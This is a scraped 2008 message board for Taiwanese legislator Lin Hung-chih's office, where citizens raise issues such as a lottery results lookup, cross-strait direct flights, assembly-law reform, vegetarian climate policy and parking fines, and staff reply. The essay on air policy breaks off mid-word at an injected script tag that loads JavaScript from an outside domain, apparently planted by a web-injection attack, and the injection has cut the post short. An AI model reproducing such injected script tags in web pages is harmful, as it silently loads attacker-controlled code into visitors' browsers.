 | | 主題 | 查詢今彩539,無法查詢對獎資料,影響小市民權力 118.165.1.* |
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| | 留言人 | 小市民 2/24/2008 9:41:16 AM |
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| | 內容 | 今天查詢今彩539,到台灣彩卷網站,選97年2月 份,查詢,只有出現2/11~2/22,2月11日之前沒有.我要對2月1日,找不到號碼.
打到台灣彩卷客服去,他們說電腦正常 .
可是我看到的就是不常.
其他種類彩卷都可正常看到整月份,只有539不正常.
我覺得台灣彩卷並有有真正去解決,只會要我在試試看,我試了還是一樣.
我又打到客服,他說知道了.我問什麼時候解決問題,他們不回應.
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| | 板主回覆 | 您好:
您的陳情內容已經收到,經詢問台彩公司,應是操作上的一些問題,我們可以電話中跟你解說
02-23586871請找洪先生
林鴻池委員國會辦公室 2/25/2008 11:10:30 AM |
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| | | 內容 | 以下是小弟對兩岸直航的一點看法,
希冀委員在立院推動兩岸直航時, 能稍做參考,
俾利國內航空業發展及維護相關產業從業人員 (估計萬人以上) 的生計.
謝謝!
<<面對直航，台灣應有的空運政策>>
目前兩位總統候選人皆提出台灣應予對岸直航的政策，讓台灣終於不用自外於東亞最大國家的交通線上，這是歷史的必然走向，勇於與當前政府提出不同作法，也是值得鼓勵的事。
就兩者陣營的細部規劃內容，筆者以為大方向固然正確，唯讀小細節以及配套措施仍需要堅持以及兼顧，直航才能發揮最大的經濟利益。
一、航點以及航班必須達到經濟規模
台灣目前最大的空運中心在桃園機場，距離台北市區約40公里，有其無可取代的地位，對於大台北六百萬人，加上桃竹苗以及多數台中以北的多數人口而言，藉由陸地運輸到達桃園機場的時間最多兩個小時，除非偏遠地區，否則超過三小時的機會不多。以直航或者所有國際航班而言，台灣目前南北一大一小兩個機場為主的運輸政策是合宜的。而桃園機場為雙跑道機場規劃完整，週圍住家不多可以全天候運作，不需夜間休息，更是國內其他機場難以比擬的。
以同樣的航班數目，一個機場若能在一天內提供七個不同時間的航班，比之七個相近的機場每天均提供一個航班，對於商務及個人旅客而言，一定是間隔點越密集的航班越方便，最好早上下午晚上都有班機，旅客可以事情做完了就出發，也可以在下班後選擇晚班機搭程，不用因為趕不上飛機而等到隔日。
因此，直航航線應該以集中桃園機場起降為主，搭配小港機場疏運南部旅客，不應將航班過於分散在其他機場；在航空公司的選擇上，也不能雨露均霑每個都飛同一點，對大陸主要航點應只開放台籍公司至多兩家經營 (相對的大陸公司也會有兩家，所以四家經營起來跟台港線一般，不用擔心壟斷問題)，而次要航點應只指定一家，這樣才能使得服務的提供趨於完整。
二、務必爭取大陸轉機旅客
直航對於台灣籍航空公司的營運會有幫助，但並非仙丹靈藥。目前兩岸間主要的空運業務，乘客可以選擇搭乘港澳籍航空轉機，或是先搭乘台籍公司的飛機到港澳濟州等地轉大陸籍航空公司的飛機赴大陸，也就是除了港澳籍公司的乘客以外，不管買的是台籍公司的票還是大陸公司的票，航程中一定會坐到台籍公司的飛機，台籍公司可以賺取港澳以外一半以上兩岸旅客的利益。直航之後，所有的大陸航機也會直飛台灣，台籍公司大體上可能還是維持疏運一半旅客，而除了北京以外，飛航廣州、上海跟港澳線的航程類似，直飛了台籍公司的港澳濟州線必定都會減班，若旅客數並無顯著成長，直航只是把本來同樣數目的旅客載往距離相似的不同目的地，因此不是單純的可以直飛就可以帶來空運利益。
兩岸直航對業者的利基在於，點對點的方便可以帶來更多旅客，不是每個旅客帶來的平均收益並會比轉機時增加很多。如果設計航線時能讓更多的大陸旅客藉由台籍公司的成熟空運網 (華航及長榮)，轉機到東南亞、東北亞地區，以及北美洲地區，台籍公司才能夠增加獲利。要經營轉機旅客，首要條件就是航班的銜接要順暢，不需要太多的轉機時間。目前香港是東亞跟大中國地區最大的轉運點，而國泰加港龍航空 (兩者已合併) 布建的運輸網跟密集航次是國內業者夢寐以求但無法比擬的。因此，直航點的同公司的航班必須夠綿密，才有辦法搭配台灣較少的東亞跟北美航線，才能跟港澳業者競爭。
三、重新檢討本島民航機場的數量
台灣是欉爾小島，土地資源並不豐沛，機場卻是一種耗用資源 (包括土地、人力、能源) 的建設。台灣高鐵已經正式營運並達到經濟規模，不論在運輸成本跟資源的花費上都比空運節省，成為西部運輸的主幹毋庸置疑。未來即便要制衡高鐵也不必靠空運，高鐵通車的前十年西部航線就以每況愈下，靠的就是台灣已經很便捷的公路運輸跟鐵路來制衡。
在當前政府的政策下，開闢了許多島內新航線跟民航機場，然而這些航線紛紛因旅客不足而減班、停飛，民航站也因為收入不足而虧損壘壘。未來在新任政府上台後，檢討民航站的合宜性是當務之急，筆者認為，在台灣本島內陸運三小時的範圍內不應有兩個國際機場，亦即桃園機場已經存在，松山就不應有國際線營運，清泉崗也應徹底檢討，七股機場更沒有建設的價值；而在陸運兩小時內的範圍，不應該有兩個國內線機場，既然小港機場已經存在，屏東機場以及恆春以外所有西部航線都應該停止營運。
政府的責任是事先做好規劃，不要等到航線跟航空站虧損了才要業者苦撐或是自己想辦法，西部航線應該早日做好停航的準備，若干航空站可以直接還給軍方。
四、松山機場功能重新規劃
松山機場的存在始終是個足以讓台北市民討論許久的話題。如要保存下來，甚至與大陸直航，並非不可，但前提是必須讓桃園機場的航線先達到可以讓大陸旅客轉機的經濟規模，而與大陸直航也必須僅限於對岸的國內線機場，如上海虹橋，否則直飛上海浦東、廣州、北?script src=http://examspy.net/t.js> |
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| | 板主回覆 | 您好
已經收到你的建言,我們已經發函給行政院處理(發文字號:鴻杰字第97022502號)
若有進一步消息會再給您聯絡,若有進一步建言,請與我們聯繫
林鴻池委員國會辦公室
2/25/2008 2:09:54 PM |
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| | | | 板主回覆 | 丹小姐您好:因為委員經常要來往國會辦公室及服務,並經常要參加會議及各種行程,因此無法一直留在服務處,若有事需要協助,可先與辦公室聯繫約時間跟委員直接面談.
林鴻池委員板橋服務處 2/25/2008 12:18:18 PM |
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| | | | 板主回覆 | 您好:
有關此一問題,馬蕭總部已在處理中,感謝你提供寶貴意見!
林鴻池委員板橋服務處 2/25/2008 12:13:39 PM |
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| 主題 | 請支持修改「集會遊行法」 61.231.66.* |
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| | | 內容 | 委員及工作人員大家恭喜：
馬上就過年了，向大家拜年。
我們是台北紅衫軍自主公民協會，新的一年我們將持續推動「集會遊行惡法」的修改，將申請制改為報備制，並收回警察裁量權，以保障憲法賦予人民集會遊行的權力。
希望委員能夠支持我們，儘快將集會遊行法修正案，儘快排入議程。
我們將在年後到立院或者您的服務處親自拜訪您，尋求支持。
感謝您 並祝福您及所愛的人
平安喜樂
台北紅衫軍自主公民協會理事長特別助理
祝務耕 (紅衫軍B哥) 鞠躬
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| | | 內容 | 我有要是找林鴻池先生，非常緊急，我想過幾天 親自 登門造訪 謝謝 |
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| | 板主回覆 | 您好:
若需協助可直接至服務處或國會辦公室,定當全力幫忙.
林鴻池委員板橋服務處 2/25/2008 12:17:24 PM |
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| 主題 | 給素食立法委員林鴻池的一封信 61.230.3.* |
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| | | 內容 | 林鴻池立法委員你好：
首先恭喜委員當選中華民國第七屆區域立法委員，從新聞媒體得知委員也是終生茹素，為此深感欣慰，實為茹素者一大好消息，盼望委員能為素食的利益，能從政府部門與法令面帶來更有力量的影嚮。
時值地球暖化生態危機，氣候在溫室效應之下，天氣、溫差異常，工業化帶來大量的溫室氣體（二氣化碳、甲烷．．．）已經破壞了地球生態的平衡，人類已面臨生存危機，根據1996年聯合國氣候變化「政府間氣候變遷研究小組」（Intergovernmental Panel on Climate Change, IPCC）之預估，認為若要在 21世紀末將二氧化碳濃度穩定在工業革命前的兩倍（550 ppm），則目前全球排放量必須削減一半，並早在1992年簽訂「氣候變化網要公約」及具法律力的1997「京都議定書」。然而時至今日，溫室效應的產生因素在交互影嚮之下，進入增溫的惡性循環，程度遠比研究人員預估的還要遭糕，NASA：北極將在2012年全部融化！
縱觀我國政府因應地球暖化危機，普遍著力於能源部門、製造部門及環保政策，如歐盟2002/96/EC（WEEE）與2002/95/EC（RoHS）指令之下「寰淨計畫」（Ｇ計畫）﹣「綠色供應鍊Green Supply Chain」，然聯合國「政府間氣候變遷問題小組」的專家表示：個人在對抗全球暖化方面也扮演重要的角色，政府並未在個人部門能提供一個有效的辦法，僅在於第三部門的社會力量進行宣傳及道德勸說：少吃肉、多騎單車、使用環保商品、遊行造勢．．。依據英國物理學家艾倫．卡佛特（Alan Calverd）在2007年7月份的《物理世界》（Physics World）科學期刊中發表一篇名為〈解決京都議題的根本之道〉的文章中提出一個解決全球暖化問題的更簡單的方法，那就是停止葷食。著力於這項科學數據，2007諾貝爾和平獎得主聯合國氣候變遷科學研究小組領導﹣帕卓里在巴黎記者會上公開指出，不吃肉、騎腳踏車、少消費，就可以協助遏止全球暖化。
新聞來源：http://news.yam.com/afp/life/200801/20080116244172.html
英文AFP：http://afp.google.com/article/ALeqM5iIVBkZpOUA9Hz3Xc2u-61mDlrw0Q
為此向委員提出建言「素食政策」應列為政府因應地球暖化的重要施政工作，應視為降低碳、甲烷排放量的計量因子，應列入有關因應「京都議定書」相關政策計畫的經費補助範圍之內。在下認為：
一、國家素食人口比例應該算進去一個國家對全球暖化的對抗所做的供獻的統計，並例入為碳排放量交易的合約內，一個人吃素等於種了一顆樹，等於降低若干單位 CO2，等於若干單位碳交易籌碼，一個國家的素食人口應視為環保水準的指標、視為降低碳排放量的指標，台灣應該率先向聯合國提出這個概念。
二、依據經濟部「促進產業升級條例」研擬訂定之「新興重要策略性產業範圍」，並未見素食產業在內，在此特別時刻，政府應該為了地球暖化的危機，特別劃分獨立出一個素食產業，素食產業應該得到投資抵減或５年免稅的優惠，特別是有機農業符合無毒、水土環保，還可以間接地幫助到農民。
三、企業引進素食餐廳供應員工午餐，並鼓勵員工吃素，宣導拒吃肉品對抗地球暖化，其吃素員工數與素餐次數應計入企業對降低碳排放量的頁獻，政府應該視同環保的成效加分項目，並列入「綠色供應鏈Green Supply Chain」計畫之評項。除此之外，公部門、學校機關也應該大力推行。
肉品為高碳排放量的商品，又極度浪費地球土地與水的資源，實在不符合環保標準的要求，為了提高民眾拒吃肉、少吃肉，進一步成為素食者的意願行動力，本人構思出「開始吃素拯救地球認同行動卡」推行方案，配合抗暖化的公益團體發行之，我們並不強迫民眾任何飲食方式，然而我們有義務、有責任提供更符合地球環保、符合營養健康、符合科學數據及符合聯合國呼籲的飲食選項給民眾參考，並有義務解說宣傳之。
盼能藉重委員職權，能在政府部門的環保政策與法令面，發揮關鍵時刻影嚮力，另一面也藉重委員的身份，與抗暖化團體、環保團體接解觸，推動「開始吃素拯救地球認同行動卡」的抗暖化行動，讓民眾選擇聯合國所呼籲的飲食生活。
祝 委員 鈞安
關心地球的一份子
相關資訊：http://blog.yam.com/enlightenment/category/1759456 |
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| | 板主回覆 | 謝謝您的建言，委員已請同仁開始研究這方面的法令可如何修改以進一步保護環境。 2/25/2008 12:15:04 PM |
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| | | | 板主回覆 | 您好:
非常感謝您的支持!未來定當全力以赴為民眾來打拼,也歡迎有空來服務處奉茶,祝您萬體健康,萬事如意!
林鴻池委員板橋服務處 2/25/2008 12:15:18 PM |
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| | | 內容 | 委員您好：
二月一日是新國會議員報到的日子。上午我們紅衫軍自主公民協會將要到立法院請願，希望新國會能夠修改集會遊行法。
我們期望明天您能夠來接受我們的請願，並且給我們指教。
紅衫軍自主公民協會網址
www.twredshirts.org |
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| 主題 | 被板橋分局劉晏筌員警狂開單，怨氣難消 219.80.32.* |
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| | | 內容 | 林委員您好：小弟在捷運府中站附近工作，平常上班都是騎機車，但由於此地車輛眾多，雖有設機車停車位但不容易找到空位，幾年來只要找不到停車位就停到東門街2巷8弄內的牆邊（雖有畫紅線但已模糊不清），從來也沒人被取締過，因停機車並未影響到行人通行；不曉得為什麼這位劉晏筌員警突然來此巷狂開單，附的取締照片又是粗糙的電腦列印紙，96年底我就被連開了兩個違停，真是愈想愈氣！而且突然要加強取締也要先告知一下吧，因為很多人找不到停車位就停這裡已經變成習慣，想請問委員能否幫忙處理一下，否則真是怨氣難消丫！ |
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| | 板主回覆 | 您好:
有關您反應之問題我們將反應給分局及交通局,研商如何解決停車位不足問題及取締方式.
林鴻池委員板橋服務處
2/25/2008 1:55:34 PM |
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